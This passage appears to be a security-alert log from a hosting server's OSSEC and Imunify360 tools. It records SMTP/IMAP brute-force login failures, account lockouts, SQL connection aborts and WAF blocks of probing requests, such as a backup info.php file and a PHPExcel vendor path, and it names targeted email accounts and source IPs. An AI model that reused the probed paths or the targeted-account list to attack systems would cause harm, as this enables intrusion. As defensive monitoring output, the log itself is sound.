rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:09:05 dovecot_login authenticator failed for H=(BUsz2Wzp1) [165.154.217.204]:61652: 535 Incorrect authentication data (set_id=intercessors)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:09:17 dovecot_login authenticator failed for H=(3YKC5x2Xu) [178.16.54.138]:61442: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:09:17 dovecot_login authenticator failed for H=(p65m0vkO) [185.230.124.69]:56026: 535 Incorrect authentication data (set_id=darren)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:09:23 dovecot_login authenticator failed for H=(nEyQ0RcjWx) [158.94.208.215]:58472: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:09:27 dovecot_login authenticator failed for H=(2fNCBSs9c) [165.154.217.204]:63831: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:09:49 dovecot_login authenticator failed for H=(CZHebLWeAi) [158.94.208.175]:52616: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:09:53 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:10:02 dovecot_login authenticator failed for H=(b7YKlu) [165.154.217.204]:51320: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:10:11 dovecot_login authenticator failed for H=(dRmg3f5) [158.94.208.215]:55400: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:10:20 dovecot_login authenticator failed for H=(xZDW7f) [178.16.54.138]:60703: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:10:32 dovecot_login authenticator failed for H=(qh8TaP) [158.94.208.175]:60529: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:10:13 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51875: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:10:18 dovecot_login authenticator failed for H=(y6Cwi4M) [185.230.124.69]:57802: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:10:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:10:27 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:10:29 dovecot_login authenticator failed for H=(92vu66d) [178.16.52.139]:60061: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:11:20 dovecot_login authenticator failed for H=(2WQPgBvmC) [165.154.217.204]:58574: 535 Incorrect authentication data (set_id=central)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 185.177.72.22
country_id: 3017382
domain: mail.jabezinnovations.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/info.php.bak||User:jabezinn||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:11:19 dovecot_login authenticator failed for H=(V65Dxjh) [178.16.54.138]:59594: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:11:23 dovecot_login authenticator failed for H=(kiK9kylW) [158.94.208.215]:54699: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:11:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33558: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:11:04 dovecot_login authenticator failed for H=(0qVPlanflC) [158.94.208.175]:63432: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:11:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64085: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:11:18 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.242.3.111
country_id: 2750405
description:
2026-02-02  7:11:46 273610 [Warning] Aborted connection 273610 to db: 'unconnected' user: 'unauthenticated' host: '185.242.3.111' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:11:02 dovecot_login authenticator failed for H=(LtSiT7lH) [165.154.217.204]:56970: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:11:49 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:11:51 dovecot_login authenticator failed for H=(WmcsGB) [178.16.52.139]:60015: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:11:18 dovecot_login authenticator failed for H=(8G3vxd3TWu) [185.230.124.69]:60713: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.209
country_id: 2542007
description:
2026-02-02 07:12:43 dovecot_login authenticator failed for H=([154.144.255.209]) [154.144.255.209]:38170: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:12:38 dovecot_login authenticator failed for H=(X3Hr0C2y) [165.154.217.204]:49633: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.187
country_id: 2750405
description:
2026-02-02  7:12:39 273643 [Warning] Aborted connection 273643 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.187' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:12:15 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.61.195.2
country_id: 3625428
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Classes/PHPExcel/Writer/Excel5.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:12:23 dovecot_login authenticator failed for H=(RB2DvffejY) [178.16.52.139]:56358: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:12:02 dovecot_login authenticator failed for H=(bSttKPzH1J) [165.154.217.204]:62622: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:12:11 dovecot_login authenticator failed for H=(UHOCZgglO) [158.94.208.215]:64093: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:12:17 dovecot_login authenticator failed for H=(TIZGRqH) [185.230.124.69]:50580: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.94.156.15
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=685978 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:12:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-02 07:12:58 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:51448: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:12:13 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57014: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:12:17 dovecot_login authenticator failed for H=(mDFCUEn) [178.16.54.138]:52510: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:13:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64175: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:13:13 dovecot_login authenticator failed for H=(GYyuW1v) [158.94.208.175]:61901: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:13:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:13:15 dovecot_login authenticator failed for H=(PsbbBA) [165.154.217.204]:52942: 535 Incorrect authentication data (set_id=central)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:13:21 dovecot_login authenticator failed for H=(s5XmAta) [178.16.54.138]:64566: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:13:34 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.123.12.5
country_id: 1168579
description:
2026-02-02 07:13:43 dovecot_plain authenticator failed for H=(Q171B58071) [223.123.12.5]:12007: 535 Incorrect authentication data (set_id=fasya@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:13:23 dovecot_login authenticator failed for H=(RjyRmdYHr) [158.94.208.215]:61232: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:13:17 dovecot_login authenticator failed for H=(7A1wYb) [185.230.124.69]:55414: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:13:41 dovecot_login authenticator failed for H=(9u4OWB47j) [178.16.52.139]:53534: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:13:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35292: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:14:03 dovecot_login authenticator failed for H=(Von9v3Z3N4) [178.16.52.139]:52213: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.15.18.202
country_id: 1814991
description:
2026-02-02 07:14:10 dovecot_login authenticator failed for H=([127.0.0.1]) [27.15.18.202]:34329: 535 Incorrect authentication data (set_id=ypt123@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.14.159
country_id: 1562822
domain: u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/u-net.com.my/service-aircond HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  2 07:14:01 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account martina@essemgroup.net has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:14:13 dovecot_login authenticator failed for H=(U36WKA3dm7) [165.154.217.204]:58485: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.189.146.151
country_id: 1861060
description:
2026-02-02 07:14:17 dovecot_login authenticator failed for H=151.146.189.35.bc.googleusercontent.com ([127.0.0.1]) [35.189.146.151]:42378: 535 Incorrect authentication data (set_id=ypt123)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:14:34 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51795: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:14:14 dovecot_login authenticator failed for H=(UnFPUX499D) [165.154.217.204]:58580: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:14:15 dovecot_login authenticator failed for H=(WLWhljpG8O) [185.230.124.69]:50215: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:14:11 dovecot_login authenticator failed for H=(Nn6LbcxSU) [158.94.208.175]:64940: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:14:11 dovecot_login authenticator failed for H=(ZcdMAJ) [158.94.208.215]:53338: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:14:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:14:13 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:15:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61371: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.120.98
country_id: 1269750
description:
2026-02-02 07:15:31 dovecot_login authenticator failed for H=([122.184.120.98]) [122.184.120.98]:52118: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:15:46 dovecot_login authenticator failed for H=(HOnmshk) [165.154.217.204]:51294: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:15:10 dovecot_login authenticator failed for H=(PIHf32DkZl) [165.154.217.204]:63914: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:15:23 dovecot_login authenticator failed for H=(Q1tlU7PzCB) [158.94.208.215]:63550: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:15:13 dovecot_login authenticator failed for H=(mnU5HRQ) [158.94.208.175]:55640: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.195.66
country_id: 1269750
description:
2026-02-02 07:15:18 dovecot_login authenticator failed for H=([125.19.195.66]) [125.19.195.66]:45432: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:15:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:15:13 dovecot_login authenticator failed for H=(eSxuoAzteY) [178.16.52.139]:53273: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:15:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50184: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:15:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:15:13 dovecot_login authenticator failed for H=(ab8f4LHm) [185.230.124.69]:64413: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-02 07:16:26 dovecot_login authenticator failed for H=(F884nn) [178.16.52.139]:59322: 535 Incorrect authentication data (set_id=martina@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:16:13 dovecot_login authenticator failed for H=(zXzCWQuT) [185.230.124.69]:58440: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:16:17 dovecot_login authenticator failed for H=(qUqtCA) [178.16.54.138]:51704: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:16:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:16:39 dovecot_login authenticator failed for H=(47jP36) [158.94.208.175]:60212: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:16:06 dovecot_login authenticator failed for H=(eQ9YDx) [165.154.217.204]:53244: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:16:11 dovecot_login authenticator failed for H=(ftSBNVw) [158.94.208.215]:62531: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:16:07 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:16:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55895: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:17:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49186: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:17:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-02 07:17:23 dovecot_login authenticator failed for H=(StGClLV) [158.94.208.215]:49192: 535 Incorrect authentication data (set_id=kendek)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-02 07:17:53 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:46726: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:17:10 dovecot_login authenticator failed for H=(49rqkRv) [165.154.217.204]:59804: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:17:12 dovecot_login authenticator failed for H=(Qmg7qzY) [185.230.124.69]:56099: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:17:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41718: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.33.170
country_id: 1562822
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/refrence.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.217.204
country_id: 1880251
description:
2026-02-02 07:17:03 dovecot_login authenticator failed for H=(SJwzu6f) [165.154.217.204]:59125: 535 Incorrect authentication data (set_id=prayerlink)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:17:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account central@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:17:13 dovecot_login authenticator failed for H=(HilWA656D4) [158.94.208.175]:53610: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.110
country_id: 2921044
description:
2026-02-02 07:17:19 dovecot_login authenticator failed for H=(eQR2YxU) [158.94.208.110]:49678: 535 Incorrect authentication data (set_id=may@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-02 07:17:21 dovecot_login authenticator failed for H=(OMERMJ2YsQ) [178.16.54.138]:50533: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-02-02 07:17:35 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:11989: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Feb  2 07:17:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account darren@indfinitydesign.com has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.118.145.115
country_id: 3686110
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934113 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-02 07:18:16 dovecot_login authenticator failed for H=(TXURTxpxv) [158.94.208.175]:63629: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:18:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49801: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  2 07:18:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account kendek has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-02-02 07:18:10 dovecot_login authenticator failed for H=(PUfg4wP) [185.230.124.69]:65152: 535 Incorrect authentication data (set_id=darren@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.13.62.77
country_id: 2017370
description:
2026-02-02 07:18:38 dovecot_login authenticator failed for H=([81.13.62.77]) [81.13.62.77]:49760: 535 Incorrect authentication data (set_id=sales@wohcheong.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:18:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account intercessors@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 6011
